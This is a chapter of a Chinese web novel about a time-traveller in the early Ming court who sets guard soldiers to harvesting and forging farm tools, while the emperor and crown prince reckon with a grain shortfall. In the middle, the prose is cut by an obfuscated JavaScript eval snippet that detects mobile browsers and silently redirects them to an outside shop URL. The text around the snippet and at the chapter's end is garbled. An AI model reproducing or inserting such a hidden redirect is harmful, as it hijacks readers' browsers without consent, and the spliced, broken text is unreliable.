要知道朱安宁不仅是他们的指挥佥事,还是詹事府少詹事…… 他们纵容下属嘲笑詹事府…… 这…… 这事是可大可小。 两人是一阵忐忑。 连忙放下手中的饼子和水,一溜小跑,战战兢兢地走到了那军营边上。 “见过朱佥事……” 两人是一脸谄媚,没办法,刚才笑得太大声,现在遭报应了。 朱安宁看了两人一眼,然后又是把目光投向了那群虎贲卫士兵。 其实并不介意他们嘲笑詹事府的人。 虽然他现在是詹事府的头头,但是菜就是原罪。 又是什么r什么n什么g什么,或是t什么e什么s什么。 自己手下这群人,活该被笑。 只要不闹出什么打架斗殴的大事就行。 他现在头疼的可是,缺人手。 所以,这些人能给自己干活么? “两位总旗,大家好像很闲啊。” 这句话本没有什么阴阳怪气的气息。 但是听在霍总旗和岳总旗耳中,就不是那么回事了。 两人抖了抖,那是赶忙拱手谢罪。 “朱佥事,是我们约束不力,他们是无心的,责罚我们就好!” 两人倒也还算拎得清,没有把责任推给下面的人。 而他们说话的声音并不算小,远处一众大头兵是听得一清二楚。 众人都以为是自家总旗,被朱安宁责罚,在那道歉来着。 那两个唱大戏的大头兵更是一阵愧疚。 其中一人是握了握拳头,最后是忍不住向朱安宁的方向跑去。 另外一人是拉都拉不住。 “诶……” 只能叫了一声。 众人也是注意到了这变故。 只见那小兵跑到了朱安宁面前,一脸硬气地说道:“朱佥事,要责罚就责罚我吧!是我的错,不关总旗们的事!” 那岳总旗看着自己手下的小兵跑过来,那是又气又急。 自己好歹是总旗,这朱佥事生气最多也就是骂两句就是,能怎样。 但是你这什么身份,跑来送? 他是直接一脚就踹了过。 “没你的事,滚回去滚回去。” “岳总旗,是我的错就是我的!朱佥事你不能罚咱总旗!” “妈拉个巴子的,你是不是脑子进水了……”那岳总旗听着自己手下的小兵一副想扛起这事的样子,那是差点背过气去:“朱大人,你不要跟他们见怪,他们是野惯了。”他一边对那小兵骂了两声,又一边对朱安宁哈腰点头。 是把朱安宁弄得哭笑不得。 怎么……自己没有想骂他们的意思啊。 他连忙解释了声。 “……詹事府那群人确实是干活不利索。” “绝无此事,詹事府诸位大人那是耕田一把好手,我等都是相当佩服的!”那霍总旗是听着这话觉得朱安宁还是在阴阴怪气,连忙捧了个臭脚。 “……他们干成什么鸟样我还不知道,霍总旗,岳总旗,我真的没有怪罪你们的意思……” 朱安宁只能再次解释,希望能和他们正常对话。 这时的霍总旗也好像终于反应了过来,自己主官应该是真没有怪罪的意思。 连忙给那岳总旗使了个眼色。 那岳总旗也是心领神会,一把薅起那小兵就往后面走。 “岳总旗,你放开我,我谢罪!!!” “谢尼玛,你切腹自尽是不是?” “我……我……我再谢罪也不能学倭人吧。” “嘿你小子害怕死啊!滚一边去,爷要和朱佥事说些正事,再过来我揍死你!” 那岳总旗骂骂咧咧地把那小兵推搡到了后面,然后又是立马跑了回去。 朱安宁看着眼前低眉顺眼的两人。 总觉得史书上记载的军中之人多彪悍是错误的。 不过他也管不了那么多了,低眉顺眼那更好。 他现在就要听话的人。 “咳咳,今天我来是看想看看你们是否很闲。” “不闲不闲,朱佥事,我们可是有日夜操练的!” “对的对的,刚才只是略微歇息下而已!” “不是……你们……你们一 点空都没有?我有事要你们帮忙啊!” 朱安宁愣了愣,看着两人,说道。 “朱大人要帮忙,闲,我们可闲了……” 两人的改口极其粗暴,生硬至极。 完美符合朱安宁对武夫的刻板印象…… “呃……”他是一脸无语地看着两人,过了半晌才继续说下去:“若是有时间的话,我需要一总旗去帮两户农户收稻谷……都会收吧。” “收稻谷?” 两人听着朱安宁的话语也是愣在了那里。 这朱佥事这段时间根本就没管过他们。 今天一来,却是想他们帮忙收水稻? “两户?只是两户的话,我看永乐庄的田地也不多,一下就能收完啊……” 两人连原因都懒得问,这种事情不过举手之劳。 “都是会干农活的?士兵们不都是军籍么?” “军籍我们也有军田啊,只不过虎贲卫比较少田而已。” 两总旗是一边说一边松了口气。 原本还以为要受责罚或者是朱佥事过来是什么大事,结果只是收点稻谷。 这是轻轻又松松。 “小事一桩。” 两人挥了挥手。 “那另一总旗,明日开始,跟着我庄里的老柳和老胡,学习打铁。” 朱安宁继续说了下去:“原来那总旗收完稻谷,也要过来学。” “打铁?制作兵器?虎贲卫里是有军匠的,不需要我们打。” “不是制作兵器。” “那是……” “做农具!” 朱安宁笑了笑。 —————————————————— 朱标和朱元璋忙了许多天。 他们在处理官员们交上来的议罪银。 顺便,完成了基层的权力更迭。 这是相当大的事情。 原本遗留的那批元后基层官员和一大批士族,被横扫一空。 而朱元璋更是利用罪人三族不得入朝为官,不得入仕这一说法,一举杀穿了一大批所谓望族的心理防线。 在初设的锦衣卫的帮助下,收上来的议罪银的数目进一步增加…… 朱元璋是又好笑又气。 只觉得虫豸真是遍布全国。 同时,他也对官员颁布了圣旨。 确定了议罪银的最后期限,年后不再给机会。 毕竟之前也说过,他是能深刻认知到这做法是有问题的。 朱老八可不是像乾小四这样的憨批…… 一旬有余,基层的状况逐渐稳定了下来。 在无数人头落地和无数议罪银上交中央的状态中,稳定了下来。 新赴任的十二位布政使也已经就位。 这十二人,看似是出任高官,其实就是过去收拾残局。 而中央六部,除了赵集升任了尚书,其他五部,依旧空缺,由原来的前尚书现郎中们代理。 最让朱元璋满意地是,他通过议罪银储备了足够的粮食,成功熬过了第一波大明宝钞的兑换潮。 这事颁布下去,他和阁臣们都知道,各地的百姓一定会跃跃欲试,试着去换粮或者换票的人不要太多。 他们必须保证第一波顺利换下来,这样大明宝钞的流通情况就会好上许多。 现在从各地上来的奏章来看,这兑换情况是顺利的,只有几个遭灾的地方,说是依旧不够粮食,朱元璋又筹措了一批送了过去。 当这些事情做完的时候,他和朱标都发现了,本来储备来过冬的粮草,已经是明显不足了。 虽然缺的不多,但是就是不足。 两人拉着户部前尚书,是算了好几日,最后发现空缺是在十万石左右。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378818|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 按照平日,这算不得什么大事。 但是现在还在打仗,这粮草必须要有备无患。 最后是朱标提了个醒,江宁屯。 两父子也是在忙活了这么多天后,再次将目光放回了应天府附近。 “标儿,前些日子,老五不是递了个信上来说朱安宁想造农具么?还有老四说他整出了燧发枪。一直都没去处理,有没什么后续?” 朱元璋正盯着黑眼圈在那和朱标说这话。 朱标的状态也没好到哪去,他也是有些困顿,但是还是强打起精神回了话。 “回父皇,燧发枪只是提了一嘴,没更多后续,造农具一事倒是有不少风言风语……” “风言风语?是朱安宁又做了什么事情罢……”朱元璋轻笑着喝了口茶。 这事并不难猜。 “也不只是这事传出风言风语,据说……永乐庄最近联系了不少地主,似乎是想要卖他的肥料出去。” “肥料?!胡闹,那不是优先供应给江宁屯么,怎么,他就这么迫不及待地想要赚钱?!这不因小失大么!” 朱元璋似乎有些恼火,他站起来向远处眺望,那是永乐庄的方向。 朱标看见自己老爹有些生气,也是无话可说。 其实他也是觉得朱安宁会不会做得有点过。 只是这段事情确实太忙,没办法去处理这事。 两人同时想到的是,要不要,去 永乐庄看一下,顺便看看那江宁屯,现在怎么样了。 ———————— “哎哟你们别使死力气啊,笨呐。”是老胡在那里叫骂。 对象自然是虎贲卫的亲兵们。 朱安宁在管家铁冶旁边,又清了快地出来,建了个民铁。 现在应天府到处都缺工匠。 朱安宁是死也找不到足够的人了。 于是这铁冶的建设是在旁边官冶的工匠们的指导下完成的。 这建民铁的人力,自然也是虎贲卫的亲兵。 于是原本还在笑詹事府的亲兵们。 一转攻势。 在这小几天的时间里,变成了詹事府众人嘲笑的对象。 一群人休息时就爱看兵老爷们被骂。 “这是木头,你脑袋也是木头,砍成这个样子,你塞进去不直接断了么?” “炉子你们就这么砌是吧,好好好,反正也是你们用的,到时炸了,炸死的是你们这帮龟孙。” “哎哟还舞刀弄枪呢,这搬东西都不利索。” 几个工匠骂人可是毫不犹豫。 毕竟心里都带着几把火。 这边被朱棣拉着在那研究燧发枪,正到关键时期。 本来他们以为弹性铁片强度是够了,结果发现实验时,十几次几十次,就会崩掉。 几人也是回过了味来,激发火药,和他们正常实验的使用环境可是不一样的。 于是一众人又只能重新开始研究弹性铁片。 刚好有点苗头的时候,又被朱安宁强行征兆过来指挥搭这民铁。 不骂人才怪。 所幸这民铁规模也不大,一两天也就突击完成了个大概,他们得以撤退。 接下来进场的就是老胡和老柳了。 他们开始带着一群兵老爷们开始叮叮咚咚。 用了是遵化运来的铁,朱安宁是不敢截留的,但是让朱棣去截留,他还是敢的。 于是这民铁也就这么运作了下来。 很快就产出了第一批农具。 而第一批农具的使用者,正是最喜欢看兵老爷们敲铁的詹事府人等。 使用下来的结果是,褒贬不一…… 褒的是老柳老胡他们造的,贬的是兵老爷们敲的。 这让这群亲卫哪受得了,那是嚷嚷着说是詹事府的人故意搞事。 朱安宁也没有惯着他们,直接把那些新农具丢给了他们,让他们去挖地。 不出一个时辰,他们便灰溜溜地跑了回来,继续咬牙切齿地敲铁…… 立誓,要做出詹事府这帮鸟人们认可的东西。 而他们也是学会了,在产出农具后,自己先试一试,才交付给詹事府的人。 朱安宁也是愕然,这群人居然在自己没教的情况下,开始了工业化中最重要的一步…… FQal Quality trol,成品检验) OQC(Out-going Quality trol,出货检验) ……